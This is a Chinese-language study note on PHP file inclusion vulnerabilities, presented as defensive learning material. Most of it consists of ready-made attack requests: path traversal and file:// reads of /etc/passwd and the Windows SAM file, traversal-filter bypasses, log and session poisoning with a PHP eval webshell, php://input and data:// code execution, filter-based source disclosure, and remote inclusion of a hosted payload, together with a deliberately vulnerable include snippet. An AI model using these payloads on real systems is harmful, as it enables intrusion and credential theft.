前言
文件包含漏洞学习笔记
本文仅用于网络信息防御学习
漏洞原理
- 代码的引用涉及到读取文件的权限,可以借助这个权限访问其他敏感文件
漏洞利用
- 配合文件上传进行漏洞利用
- 配合日志文件读取,根据默认的日志文件路径,进行漏洞利用
- 配合Session会话文件,根据默认的Session会话文件路径,进行读取漏洞利用
直接传参
绝对路径
request1
| GET http://127.0.0.1:80/?key=/etc/passwd
|
相对路径
request1
| GET http://127.0.0.1:80/?key=../etc/passwd
|
相对路径双写绕过
- 如果网站中做了
../
、..\
过滤,可以使用双写绕过,每一组..././
表示一组../
request1
| GET http://127.0.0.1:80/?key=..././payload.php
|
URLEncode绕过
- 如果网站中只做了
../
、..\
过滤,也可以使用URLEncode编码绕过,每一组..%2F
表示一组../
request1
| GET http://127.0.0.1:80/?key=..%2Fpayload.php
|
file协议(本地文件包含)
绝对路径
Linux
request1
| GET http://127.0.0.1:80/?key=file:///etc/passwd
|
Windows
request1
| GET http://127.0.0.1:80/?key=file://c:\Windows\System32\config\SAM
|
相对路径
Linux
request1
| GET http://127.0.0.1:80/?key=file://./etc/passwd
|
Windows
request1
| GET http://127.0.0.1:80/?key=file://.\Windows\System32\config\SAM
|
日志文件包含
Nginx日志
request1 2 3 4 5
| GET http://127.0.0.1:80/ User-Agent: <?php eval($_REQUEST['x']);?>
### GET http://127.0.0.1:80/?key=file:///var/log/nginx/access.log
|
Session文件包含
php的session
- 第一次请求时生成session文件
- 第二次请求时读取session文件
PHPSESSID
:可以手动指定Session文件名后缀
request1 2 3 4 5 6 7 8 9 10 11 12
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000 Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
---------------------------000000000000000 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php eval($_REQUEST['x']);?> ---------------------------000000000000000--
GET http:
|
php协议
前置条件
- 配置文件中开启了
allow_url_include
index.php1
| <?php include($_REQUEST['key']);?>
|
漏洞利用
request1 2 3 4
| POST http://127.0.0.1:80/?key=php://input Content-Type: application/x-www-form-urlencoded
<?php eval($_REQUEST['x']);?>
|
filter
读取Base64编码后的文件内容
request1
| GET http://127.0.0.1:80/?key=php://filter/read=convert.base64-encode/resource=payload.php
|
读取Rot13编码后的文件内容
request1
| GET http://127.0.0.1:80/?key=php://filter/read=string.rot13/resource=payload.php
|
读取UCS编码后的文件内容
request1
| GET http://127.0.0.1:80/?key=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=payload.php
|
- 得到的数据需要先进行UCS解码,如果是Windows平台需要进行UCS-2LE解码,如果是Linux平台需要进行UCS-2BE解码
data协议
未编码
request1
| GET http://127.0.0.1:80/?key=data://text/plain,<?php eval($_REQUEST['x']);?>
|
Base64编码
request1
| GET http://127.0.0.1:80/?key=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3gnXSk7Pz4=
|
http协议(远程文件包含)
前置条件
- 配置文件中开启了
allow_url_include
漏洞利用
request1
| GET http://127.0.0.1:80/?key=http://example.com/payload.php
|
代码审计
- 代码中包含读取文件的权限,可以借助这个权限访问其他敏感文件
1
| include($_REQUEST['key']);
|
完成
参考文献
哔哩哔哩——千锋教育网络安全学院 哔哩哔哩——xiaodisec